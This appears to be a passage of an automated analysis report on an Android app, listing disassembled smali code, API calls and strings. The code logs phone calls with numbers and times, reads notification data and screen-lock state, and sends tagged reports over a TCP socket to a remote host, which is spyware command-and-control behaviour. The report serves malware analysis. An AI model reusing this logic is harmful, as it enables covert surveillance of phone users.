    • p0: B5:::
130move-result-object v3
132invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
133move-result-object v0
135const-string v3, "[(0)tcp]"
137invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
138move-result-object v0
140iget-object v3, p0, Lsys/arshad/sys/MainActivity$b$46;->a:Lsys/arshad/sys/MainActivity$b;
142iget-object v3, v3, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
144iget-object v3, v3, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
146invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
147move-result-object v0
149invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
150move-result-object v0
152invoke-virtual {v2, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
154invoke-virtual {v1}, Ljava/io/File;->delete()Z
155try_end_c8: goto/16 :goto_5f
APIs
  • java.lang.String.indexOf
  • sys.arshad.sys.MainActivity.z
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • sys.arshad.sys.MainActivity.getSystemService
  • android.os.PowerManager.isScreenOn
  • android.app.KeyguardManager.inKeyguardRestrictedInputMode
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.System.currentTimeMillis
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.PrintStream.println
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.System.currentTimeMillis
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
Strings
  • ping-ms
  • +++++++
  • keyguard
  • power
  • Key+ScreenOn
  • [ms]--->
  • B18:::
  • [(0)tcp]
  • Key+ScreenOff
  • ScreenOn
  • ScreenOff
Position Instruction Meta Information
0const/4 v4, 0x1
1try_start_1:
2iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$41;->a:Ljava/lang/String;
4const-string v1, "ping-ms"
6invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: ping-ms
7move-result v0
8const/4 v1, -0x1
9if-eq v0, v1, :cond_ca
11iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
13iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
15invoke-static {v0}, Lsys/arshad/sys/MainActivity;->z(Lsys/arshad/sys/MainActivity;)Z
16move-result v0
17if-ne v0, v4, :cond_ca
18const/4 v0, 0x0
20sget-object v1, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
21if-eqz v1, :cond_dc
23sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
24new-instance v1, Ljava/lang/StringBuilder;
26invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
28sget-object v2, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
30invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
31move-result-object v1
33const-string v2, "+++++++"
35invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: +++++++
36move-result-object v1
38invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
39move-result-object v1
41invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
43sget-object v0, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
44try_end_37: move-object v2, v0
45goto_38:
46iget-object v0, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
48iget-object v0, v0, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
50const-string v1, "keyguard"
52invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: keyguard
53move-result-object v0
54check-cast v0, Landroid/app/KeyguardManager;
56iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
58iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
60const-string v3, "power"
62invoke-virtual {v1, v3}, Lsys/arshad/sys/MainActivity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: power
63move-result-object v1
64check-cast v1, Landroid/os/PowerManager;
66invoke-virtual {v1}, Landroid/os/PowerManager;->isScreenOn()Z
67move-result v1
69invoke-virtual {v0}, Landroid/app/KeyguardManager;->inKeyguardRestrictedInputMode()Z
70move-result v0
71if-eqz v0, :cond_ce
72if-ne v1, v4, :cond_cb
74const-string v0, "Key+ScreenOn"
75try_end_5e:
76sget-object v1, Ljava/lang/System;->out:Ljava/io/PrintStream;
77new-instance v3, Ljava/lang/StringBuilder;
79invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
81const-string v4, " [ms]--->"
83invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [ms]--->
84move-result-object v3
86invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
87move-result-wide v4
89iget-object v6, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
91iget-object v6, v6, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
92iget-wide v6, v6, Lsys/arshad/sys/MainActivity;->j:J
93sub-long/2addr v4, v6
95invoke-virtual {v3, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
96move-result-object v3
98invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
99move-result-object v3
101invoke-virtual {v1, v3}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
103iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
105iget-object v1, v1, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
106new-instance v3, Ljava/lang/StringBuilder;
108invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
110const-string v4, "B18:::"
112invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B18:::
113move-result-object v3
115invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
116move-result-wide v4
118iget-object v6, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
120iget-object v6, v6, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
121iget-wide v6, v6, Lsys/arshad/sys/MainActivity;->j:J
122sub-long/2addr v4, v6
124invoke-virtual {v3, v4, v5}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
125move-result-object v3
127const-string v4, "[(0)tcp]"
129invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
130move-result-object v3
132iget-object v4, p0, Lsys/arshad/sys/MainActivity$b$41;->b:Lsys/arshad/sys/MainActivity$b;
134iget-object v4, v4, Lsys/arshad/sys/MainActivity$b;->g:Lsys/arshad/sys/MainActivity;
136iget-object v4, v4, Lsys/arshad/sys/MainActivity;->i:Ljava/lang/String;
138invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
139move-result-object v3
141const-string v4, "[(0)tcp]"
143invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
144move-result-object v3
146invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Key+ScreenOn
147move-result-object v2
149const-string v3, "[(0)tcp]"
151invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
152move-result-object v2
154invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Key+ScreenOn
155move-result-object v0
157invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
158move-result-object v0
160invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
161cond_ca: return-void
162cond_cb:
163const-string v0, "Key+ScreenOff"
164goto/16 :goto_5e
165cond_ce: if-ne v1, v4, :cond_d3
167const-string v0, "ScreenOn"
168goto/16 :goto_5e
169cond_d3:
170const-string v0, "ScreenOff"
171try_end_d5: goto/16 :goto_5e
172catch_d6: move-exception v0
173try_start_d7:
174const-string v0, ""
175try_end_d9: goto/16 :goto_5e
176catch_da: move-exception v0
177goto/16 :goto_ca
178cond_dc: move-object v2, v0
179goto/16 :goto_38
APIs
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getContentResolver
  • android.provider.Settings$Secure.getString
  • sys.arshad.sys.MainActivity.getApplicationContext
  • android.content.Context.getPackageName
  • java.lang.String.contains
  • sys.arshad.sys.MainActivity.openFileInput
  • java.io.FileInputStream.available
  • java.io.FileInputStream.read
  • java.lang.String.<init>
  • java.lang.String.replace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.io.FileInputStream.close
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • sys.arshad.sys.MainActivity.e
  • android.content.Intent.<init>
  • sys.arshad.sys.MainActivity.startActivity
Strings
  • enabled_notification_listeners
  • odNotice.txt
  • \n
  • ||||
  • B16:::
  • [(0)tcp]
  • B16:::null[(0)tcp]
  • B16:::-1[(0)tcp]
  • android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
Position Instruction Meta Information
1iget-object v0, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
3invoke-virtual {v0}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
4move-result-object v0
6invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
7move-result-object v0
9const-string v1, "enabled_notification_listeners"
11invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p1: enabled_notification_listeners
12move-result-object v0
14iget-object v1, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
16invoke-virtual {v1}, Lsys/arshad/sys/MainActivity;->getApplicationContext()Landroid/content/Context;
17move-result-object v1
19invoke-virtual {v1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
20move-result-object v1
22invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
23move-result v0
24if-eqz v0, :cond_86
25try_start_20:
26iget-object v0, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
28const-string v1, "odNotice.txt"
30invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->openFileInput(Ljava/lang/String;)Ljava/io/FileInputStream;
  • Data flow analysis:
    • p0: odNotice.txt
31move-result-object v0
33invoke-virtual {v0}, Ljava/io/FileInputStream;->available()I
34move-result v1
35new-array v1, v1, [B
37invoke-virtual {v0, v1}, Ljava/io/FileInputStream;->read([B)I
38new-instance v2, Ljava/lang/String;
40invoke-direct {v2, v1}, Ljava/lang/String;-><init>([B)V
42const-string v1, "\n"
44const-string v3, "||||"
46invoke-virtual {v2, v1, v3}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
  • Data flow analysis:
    • p0: \n
    • p1: ||||
47move-result-object v1
49iget-object v2, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
50new-instance v3, Ljava/lang/StringBuilder;
52invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
54const-string v4, "B16:::"
56invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B16:::
57move-result-object v3
59invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
60move-result-object v1
62const-string v3, "[(0)tcp]"
64invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: [(0)tcp]
65move-result-object v1
67iget-object v3, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
69iget-object v3, v3, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
71invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
72move-result-object v1
74invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
75move-result-object v1
77invoke-virtual {v2, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
79invoke-virtual {v0}, Ljava/io/FileInputStream;->close()V
80try_end_67: return-void
81catch_68: move-exception v0
83iget-object v0, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
84new-instance v1, Ljava/lang/StringBuilder;
86invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
88const-string v2, "B16:::null[(0)tcp]"
90invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B16:::null[(0)tcp]
91move-result-object v1
93iget-object v2, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
95iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
97invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
98move-result-object v1
100invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
101move-result-object v1
103invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
104goto/16 :goto_67
105cond_86:
106iget-object v0, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
107new-instance v1, Ljava/lang/StringBuilder;
109invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
111const-string v2, "B16:::-1[(0)tcp]"
113invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: B16:::-1[(0)tcp]
114move-result-object v1
116iget-object v2, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
118iget-object v2, v2, Lsys/arshad/sys/MainActivity;->h:Ljava/lang/String;
120invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
121move-result-object v1
123invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
124move-result-object v1
126invoke-virtual {v0, v1}, Lsys/arshad/sys/MainActivity;->e(Ljava/lang/String;)V
127new-instance v0, Landroid/content/Intent;
129const-string v1, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
131invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
133iget-object v1, p0, Lsys/arshad/sys/MainActivity$7;->a:Lsys/arshad/sys/MainActivity;
135invoke-virtual {v1, v0}, Lsys/arshad/sys/MainActivity;->startActivity(Landroid/content/Intent;)V
136goto/16 :goto_67
137catch_af: move-exception v0
138goto/16 :goto_67
Cross References
APIs
  • java.util.Date.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.util.Date.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • onIncomingCallStarted> N :
  • T :
  • onOutgoingCallStarted> N :
  • onMissedCall> N :
  • onIncomingCallEnded> N :
  • onOutgoingCallEnded> N :
Position Instruction Meta Information
0const/4 v1, 0x1
1sget v0, Lsys/arshad/sys/PhonecallReceiver;->a:I
2if-ne v0, p1, :cond_6
3goto_5: return-void
4cond_6: packed-switch p1, :pswitch_data_e4
5goto_9: sput p1, Lsys/arshad/sys/PhonecallReceiver;->a:I
6goto/16 :goto_5
7pswitch_c: sput-boolean v1, Lsys/arshad/sys/PhonecallReceiver;->c:Z
8new-instance v0, Ljava/util/Date;
10invoke-direct {v0}, Ljava/util/Date;-><init>()V
11sput-object v0, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
12sput-object p2, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
13new-instance v0, Ljava/lang/StringBuilder;
15invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
17const-string v1, "onIncomingCallStarted> N :"
19invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: onIncomingCallStarted> N :
20move-result-object v0
22sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
25move-result-object v0
27const-string v1, " T : "
29invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T :
30move-result-object v0
32sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
35move-result-object v0
37invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
38move-result-object v0
39sput-object v0, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
40goto/16 :goto_9
41pswitch_3b: sget v0, Lsys/arshad/sys/PhonecallReceiver;->a:I
42if-eq v0, v1, :cond_9
43const/4 v0, 0x0
44sput-boolean v0, Lsys/arshad/sys/PhonecallReceiver;->c:Z
45new-instance v0, Ljava/util/Date;
47invoke-direct {v0}, Ljava/util/Date;-><init>()V
48sput-object v0, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
49new-instance v0, Ljava/lang/StringBuilder;
51invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
53const-string v1, "onOutgoingCallStarted> N :"
55invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: onOutgoingCallStarted> N :
56move-result-object v0
58sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
60invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
61move-result-object v0
63const-string v1, " T : "
65invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T :
66move-result-object v0
68sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
70invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
71move-result-object v0
73invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
74move-result-object v0
75sput-object v0, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
76goto/16 :goto_9
77pswitch_6d: sget v0, Lsys/arshad/sys/PhonecallReceiver;->a:I
78if-ne v0, v1, :cond_96
79new-instance v0, Ljava/lang/StringBuilder;
81invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
83const-string v1, "onMissedCall> N :"
85invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: onMissedCall> N :
86move-result-object v0
88sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
90invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
91move-result-object v0
93const-string v1, " T : "
95invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T :
96move-result-object v0
98sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
100invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
101move-result-object v0
103invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
104move-result-object v0
105sput-object v0, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
106goto/16 :goto_9
107cond_96: sget-boolean v0, Lsys/arshad/sys/PhonecallReceiver;->c:Z
108if-eqz v0, :cond_bf
109new-instance v0, Ljava/lang/StringBuilder;
111invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
113const-string v1, "onIncomingCallEnded> N :"
115invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: onIncomingCallEnded> N :
116move-result-object v0
118sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
120invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
121move-result-object v0
123const-string v1, " T : "
125invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T :
126move-result-object v0
128sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
130invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
131move-result-object v0
133invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
134move-result-object v0
135sput-object v0, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
136goto/16 :goto_9
137cond_bf: new-instance v0, Ljava/lang/StringBuilder;
139invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
141const-string v1, "onOutgoingCallEnded> N :"
143invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: onOutgoingCallEnded> N :
144move-result-object v0
146sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->d:Ljava/lang/String;
148invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
149move-result-object v0
151const-string v1, " T : "
153invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: T :
154move-result-object v0
156sget-object v1, Lsys/arshad/sys/PhonecallReceiver;->b:Ljava/util/Date;
158invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
159move-result-object v0
161invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
162move-result-object v0
163sput-object v0, Lsys/arshad/sys/MainActivity;->d:Ljava/lang/String;
164goto/16 :goto_9
Cross References
APIs
  • sys.arshad.sys.MainActivity.d
  • java.io.PrintStream.println
  • java.net.Socket.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.e
  • java.net.Socket.getOutputStream
  • java.io.PrintWriter.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.e
  • java.net.Socket.getInputStream
  • java.io.InputStreamReader.<init>
  • java.io.BufferedReader.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.g
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.f
  • java.net.Socket.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.e
  • java.net.Socket.getOutputStream
  • java.io.PrintWriter.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.e
  • java.net.Socket.getInputStream
  • java.io.InputStreamReader.<init>
  • java.io.BufferedReader.<init>
  • sys.arshad.sys.MainActivity.a
  • sys.arshad.sys.MainActivity.g
  • sys.arshad.sys.MainActivity.a
Strings
  • No
Position Instruction Meta Information
0const/16 v7, 0x3e8
1const/4 v6, 0x0
2const/4 v1, 0x1
3move v0, v1
4goto_5: const/16 v2, 0x7d0
5if-ge v0, v2, :cond_e5
6add-int/lit8 v0, v0, 0x1
8iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
10invoke-static {v2}, Lsys/arshad/sys/MainActivity;->d(Lsys/arshad/sys/MainActivity;)Ljava/lang/String;
12sget-object v2, Ljava/lang/System;->out:Ljava/io/PrintStream;
14invoke-virtual {v2, v0}, Ljava/io/PrintStream;->println(I)V
  • Data flow analysis:
    • p0: 1
16iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
18iget-object v2, v2, Lsys/arshad/sys/MainActivity;->E:Ljava/lang/String;
20const-string v3, "No"
21if-eq v2, v3, :cond_75
22if-ne v0, v7, :cond_5
23try_start_1f:
24iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
25new-instance v3, Ljava/net/Socket;
27iget-object v4, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
29iget-object v4, v4, Lsys/arshad/sys/MainActivity;->f:Ljava/lang/String;
31iget-object v5, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
32iget v5, v5, Lsys/arshad/sys/MainActivity;->g:I
34invoke-direct {v3, v4, v5}, Ljava/net/Socket;-><init>(Ljava/lang/String;I)V
36invoke-static {v2, v3}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/net/Socket;)Ljava/net/Socket;
38iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
40invoke-static {v2}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;)Ljava/net/Socket;
41move-result-object v2
42if-eqz v2, :cond_5
44iget-object v2, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
45new-instance v3, Ljava/io/PrintWriter;
47iget-object v4, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
49invoke-static {v4}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;)Ljava/net/Socket;
50move-result-object v4
52invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
53move-result-object v4
54const/4 v5, 0x1
56invoke-direct {v3, v4, v5}, Ljava/io/PrintWriter;-><init>(Ljava/io/OutputStream;Z)V
  • Data flow analysis:
    • p1: 1
58invoke-static {v2, v3}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/io/PrintWriter;)Ljava/io/PrintWriter;
59new-instance v2, Ljava/io/InputStreamReader;
61iget-object v3, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
63invoke-static {v3}, Lsys/arshad/sys/MainActivity;->e(Lsys/arshad/sys/MainActivity;)Ljava/net/Socket;
64move-result-object v3
66invoke-virtual {v3}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
67move-result-object v3
69invoke-direct {v2, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
71iget-object v3, p0, Lsys/arshad/sys/MainActivity$a;->a:Lsys/arshad/sys/MainActivity;
72new-instance v4, Ljava/io/BufferedReader;
74invoke-direct {v4, v2}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
76invoke-static {v3, v4}, Lsys/arshad/sys/MainActivity;->a(Lsys/arshad/sys/MainActivity;Ljava/io/BufferedReader;)Ljava/io/BufferedReader;
